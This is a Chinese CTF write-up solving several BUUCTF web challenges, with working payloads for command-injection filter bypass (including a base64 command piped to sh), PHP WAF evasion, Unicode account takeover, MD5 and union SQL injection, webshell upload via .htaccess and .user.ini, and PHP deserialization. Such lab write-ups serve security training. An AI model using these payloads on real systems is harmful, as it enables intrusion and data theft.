buuctf(探险1)

目录

[GXYCTF2019]Ping Ping Ping

命令执行过滤空格flag,拼接绕过

 [RoarCTF 2019]Easy Calc

waf前端检测,命令执行绕过

原理:利用scandir()列出目录和文件,var_dump()用于输出

原理:利用file_get_contents()读取并输出文件内容

[HCTF 2018]admin

 nodeprep.prepare方法漏洞

 [BJDCTF2020]Easy MD5

[ZJCTF 2019]NiZhuanSiWei

[MRCTF2020]你传你呢

文件上传的题目

[SUCTF 2019]CheckIn 

文件上传

[MRCTF2020]Ez_bypass

md5一些简单函数

[网鼎杯 2020 青龙组]AreUSerialz

反序列化pop链

protected分析:

 private分析:

[GXYCTF2019]BabySQli 

sql注入



[GXYCTF2019]Ping Ping Ping

命令执行过滤空格flag,拼接绕过

打开界面发现就一个

/?ip=源码一样,然后get传参本地地址 127.0.0.1试一下

buuctf(探险1)_第1张图片那这道题考察:命令执行、管道符的应用

buuctf(探险1)_第2张图片

提示过滤掉了空格,用%09绕过一下 

提示:/?ip= 1fxck your symbol!应该是过滤掉了%

用一下${IFS}        {应该被过滤了,用$IFS$1绕过,看一下源码

buuctf(探险1)_第3张图片

发现flag被过滤掉了,? *通配符都没了,那试一下拼接把

本来构造是?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php,可是没绕过去

 查看资料后有解释说这串代码意为 匹配一个字符串中,是否按顺序出现过flag四个字母(还是不太理解为什么用字符串拼接的方法会被过滤)

所以把flag逆反一下

?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php  变量之间用分号不可用&

?ip=127.0.0.1;a=ag&b=fl;cat$IFS$1$b$a.php 错误

f12查看源码看见

buuctf(探险1)_第4张图片

 或者

/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

Y2F0IGZsYWcucGhw是cat flag.php的base64编码

 [RoarCTF 2019]Easy Calc

waf前端检测,命令执行绕过

buuctf(探险1)_第5张图片

 打开界面没感觉有啥,看一下源码

buuctf(探险1)_第6张图片

绿色显示,肯定有用

大概意思就是我有一个waf过滤来确保安全,说明有过滤, 

cale.php访问一下

 随便输入一个字母buuctf(探险1)_第7张图片

 推测waf应该就是不让输出字母,php有一个特性

? num和?num两个的num变量不一样,但url后都会忽略空格

以及特殊符号 都会变为下划线

waf里的是num而不是 空格num

原理:利用scandir()列出目录和文件,var_dump()用于输出

scandir()函数返回指定目录中的文件和目录的数组。
scandir(/)相当于ls /
var_dump()相当于echo

原理:利用file_get_contents()读取并输出文件内容

例如 file_get_contents(/flag.php),读取/flag.php的代码

?%20num=var_dump(scandir(chr(47)))  chr(47)  / 因为上面/被过滤掉了用chr代替

buuctf(探险1)_第8张图片

?%20num=file_get_contents(chr(47).f1agg)   或者

num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))==>>file_get_contents(/f1agg)相当于? num=system(cat /f1agg)

[HCTF 2018]admin

 nodeprep.prepare方法漏洞

打开界面,源码显示需要账户是admin,然后看见下面注册试一下

buuctf(探险1)_第9张图片

buuctf(探险1)_第10张图片

先注册一下buuctf(探险1)_第11张图片

那这道题,思想就是绕过 admin,但最后又可以用admin登录

先随便注册一个账号,然后查看源码,

  • 在change页面的源代码中发现了网站的源代码地址如下

buuctf(探险1)_第12张图片

 访问网站下载zip,打开routes.py

buuctf(探险1)_第13张图片

发现注册和登录以及修改密码处只是对数据进行了小写化,而且奇怪的是小写化函数用的不是python自带的,而是自己封装的,直觉告诉我这里存在问题。
于是看一下这个函数是如何封装的 如下buuctf(探险1)_第14张图片

from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
## 包引入头

 nodeprep.prepare这个方法是将大写字母转换成小写字母,但是它存在一个问题:
它会将unicode编码的ᴬ转化成A

unicode参考表:https://unicode-table.com/en/search/?q=Modifier+Letter+Capital

buuctf(探险1)_第15张图片

所以只要我们用 ᴬdmin进行注册,前端虽然是,但是后端就变成了admin所以我们就能绕过去,然后修改密码通过!

buuctf(探险1)_第16张图片

 [BJDCTF2020]Easy MD5

打开界面没啥用,看下源码没啥关键的,考察md5,然后再网络包发现一条select语句 

buuctf(探险1)_第17张图片

 md5(string,raw)

string    必需。要计算的字符串。

raw     可选。默认不写为FALSE。32位16进制的字符串
        TRUE。16位原始二进制格式的字符串
        进行post传参

让我想到了md5中的,

ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,
而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是select * from ‘admin’ where password=’’ or ‘6xxxxx’

等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数

输入后,获得源码

get传参,数组绕过,?a[]=3&b[]=4

param1[]=3¶m2[]=4继续数组绕过,只不过是post传参罢了

buuctf(探险1)_第18张图片

[ZJCTF 2019]NiZhuanSiWei

".file_get_contents($text,'r')."


"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>

 开始审计代码,get传参,然后text里面肯定是welcome to the zjctf

file里面肯定是useless.php,看见下面有反序列化,所以我觉得这应该是用文件包含然后出源码的擦做,然后password里存的是序列化指向一个获得flag的。

话不多说开整,

file_get_contents($text,'r')==="welcome to the zjctf"

函数作用:吧text文件中的内容,给了r当作字符串处理

所以我们需要自己构建一个文件,然后用伪协议file读取

?text=file://e:\123.txt发现不行,那用一下data

?text=data://text/plain,welcome to the zjctf //不需要加引号

 buuctf(探险1)_第19张图片

绕过去了第一个。然后伪协议读取useless.php

php://filter/read=convert.base64-encode/resource=useless.php 

buuctf(探险1)_第20张图片

 开心,竟然不是pop链构造那种长度,

file)){  
            echo file_get_contents($this->file); 
            echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>

肯定是this->file出东西

buuctf(探险1)_第21张图片

buuctf(探险1)_第22张图片

 提示我获得了flag,找一找

buuctf(探险1)_第23张图片

 找到了,但是还有一个小疑问,怎么调用的——tostring呢,源码看一下

buuctf(探险1)_第24张图片

捂了捂了,原来是源码echo调用,如果没有echo也应该有一个突出的类的或者里面有wakeup或者destrust魔术方法,前往下一探险 

[MRCTF2020]你传你呢

文件上传的题目

1、前端绕过,抓包修改后缀名,

2、文件内容绕过,用图片马,抓包修改后缀绕过

3、黑名单绕过,那么我们可以改成phtml抓包绕过

4、.htaccess绕过,只要有这个配置文件,并且内容为“AddType application/x-httpd-php .jpg(就是把所以jpg后缀的文件全都当作php文件来执行)”

5、大小写绕过,抓包后修改后缀为.PHp

7、空格绕过,抓包修改后缀,在后缀后面加上空格

8、点绕过,抓包修改后缀,在后缀后面加上点(删掉空格还可以. .或者 . )

9、文件流绕过,前提条件,必须是window的服务器,抓包修改后缀,并在后缀后面加上::$DATA,

10、双拼绕过,抓包修改后缀,并在把后缀改成pphphp,这样后端去掉php,还剩下个p和hp组合在一起,又是php

11、.user.ini配置文件绕过

大概就是这几种,然后看一下这道题

buuctf(探险1)_第25张图片

后缀试了一下,php.php3,php5,phtml过滤的挺多的,然后想想能不能用.htacess

buuctf(探险1)_第26张图片

把content-Type改为:image/jpeg试一下

buuctf(探险1)_第27张图片

上传成功,.htaccess的作用主要就是把里面2.jpg用php的形式解析

然后就需要上传 2.jpg命名的图片码了,

buuctf(探险1)_第28张图片

 http://13e5176a-797f-4a6c-b2da-24b94b8f1390.node4.buuoj.cn:81/upload/08c57e4475e1d1a8bd0961e50134b964/2.jpg

蚁建链接,获得flag“

buuctf(探险1)_第29张图片

[SUCTF 2019]CheckIn 

文件上传

首先传一个,.php文件的发现回显illegal suffix!

然后试一下图片码,

buuctf(探险1)_第30张图片

 发现过滤了

 buuctf(探险1)_第31张图片

 发现不是image类型,应该是有了文件头校验

然后加上GIF89a

buuctf(探险1)_第32张图片

上传成功,然后就需要上传一个配置文件,来进行php解析

通过谷歌的插件,发现该站点使用的是nginx

所以使用.htaccess绕过行不通,因为它是Apache的配置文件

这里我们采用.user.ini来绕过--》

 先上传,.user.ini,

auto_prepend_file=1.gif

然后上传  1.gif  木马文件

buuctf(探险1)_第33张图片

 蚁建链接就行, 这里注意一个点

index.php放最后面http://52758cbb-2d8e-4014-ad0e-0c80cb50c926.node4.buuoj.cn:81/uploads/c47b21fcf8f0bc8b3920541abd8024fd/index.php

 然后获得flag,

[MRCTF2020]Ez_bypass

md5一些简单函数

I put something in F12 for you include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; 
if(isset($_GET['gg'])&&isset($_GET['id'])) 
        { $id=$_GET['id']; 
$gg=$_GET['gg']; 
if (md5($id) === md5($gg) && $id !== $gg) 
  { echo 'You got the first step'; 
    if(isset($_POST['passwd'])) 
          { $passwd=$_POST['passwd'];
              if (!is_numeric($passwd)) 
                    { if($passwd==1234567)
                         { echo 'Good Job!'; 
                           highlight_file('flag.php'); 
                          die('By Retr_0'); } 
else { echo "can you think twice??"; } }
 else{ echo 'You can not get it !'; } } 
else{ die('only one way to get the flag'); } }
 else { echo "You are not a real hacker!"; } } 
else{ die('Please input first'); } }
Please input first

打开以后源码,自己整理一下,捋一下思路

get 传参 id gg  ,数组绕过应该就可以

post 传参 passwd 1234567a弱比较绕过

然后高亮显示,flag.php

buuctf(探险1)_第34张图片

说明get传参的部分成功绕了过去,接下来就是post了

buuctf(探险1)_第35张图片

这就成功了,提交flag对了,竟然没有坑,开心呀!

[网鼎杯 2020 青龙组]AreUSerialz

反序列化pop链

process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: 
"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }

乍一看,就construct  和 destruct 两个魔术方法

is_valid想要实现的是,ascll在 32-125之间

可是这里的属性都是protected构成的,需要加 \00*\00保护起来,所以我们就需要绕过

protected分析:

举例:本来sex结果上面出现的是*sex,但是*sex的长度是4,

但是上面显示的是6,

发现protect属性序列化的时候格式是%00*%00sex(成员名)

 private分析:

比如 testage长度是7,

但是上面显示的是9,

private属性序列化格式 %00类名%00成员名

%00占一个字节长度,所以age加了类名后变成了%00test%00age长度为9

 绕过方法:在php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化没有不可见字符

7.1以下:private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
 

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:7:"oavinci";}

 private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }应该是read()函数这是链尾执行实现flag的方法

所以我们的目标改为是谁调用了read

 public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {       只需要让op=2就可以调用read
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

然后我们的目标就是如何让op=2,注意两个等号这是弱比较,接下来会用到

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }  这是三个等号,强比较,会核对值是否相当,以及类型是否一样,我们可以让2为数值型就都可以实现

正好,这是开头,构造结束。

因为这种方式都被注释掉了,所以需要在源码中寻找flag,

或者改为filter伪协议读取,会显示base64编码

buuctf(探险1)_第36张图片

[GXYCTF2019]BabySQli 

sql注入

先找注入点,只有单引号回显

确定是单引号,试一下万能密码 

发现源码有一串字母,没看出来是什么编码,暂时略过

do not hack me!     ' or true#  回显别欺骗我  应该是里面有字符被过滤了,419都是被过滤的or被过滤,试了一下大写可以成功绕过,union 没有被过滤试一下联合注入

buuctf(探险1)_第37张图片

没思路,突破点肯定是那一串乱码

试一下base64没出来,base32试一下

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

这一看就需要base64出来了,是一条select语句

select * from user where username = '$name'

联合注入:先看一下有几列,最后测试出来

buuctf(探险1)_第38张图片

 buuctf(探险1)_第39张图片

如上测到第四个字段报错,证明只有3个字段数,但没有回显字段名,来到本题考点:猜测三个字段是啥,一般是id、username、password,尝试;

buuctf(探险1)_第40张图片

用户名admin尝试成功,

来到本题考点的另一个:mysql在查询不存在的数据时会自动构建虚拟数据,一般数据要么明文,要么MD5;这道题显示不是明文,那就是md5加密了,把密码加密

202CB962AC59075B964B07152D234B70  md5 32位编码

' union select 1,'admin','202CB962AC59075B964B07152D234B70'#

试了很多,发现都不对,然后把大写字母换成小写就出来了答案 

buuctf(探险1)_第41张图片

 

if(preg_match("/\(|\)|\=|or/", $name)){
	die("do not hack me!");
}
else{
	if (!$result) {
		printf("Error: %s\n", mysqli_error($con));
		exit();
	}
	else{
		// echo '
';
		$arr = mysqli_fetch_row($result);
		// print_r($arr);
		if($arr[1] == "admin"){
			if(md5($password) == $arr[2]){
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}
		else{
			die("wrong user!");
		}
	}
}

看源码就知道了原因,md5加密需要

你可能感兴趣的:(网络)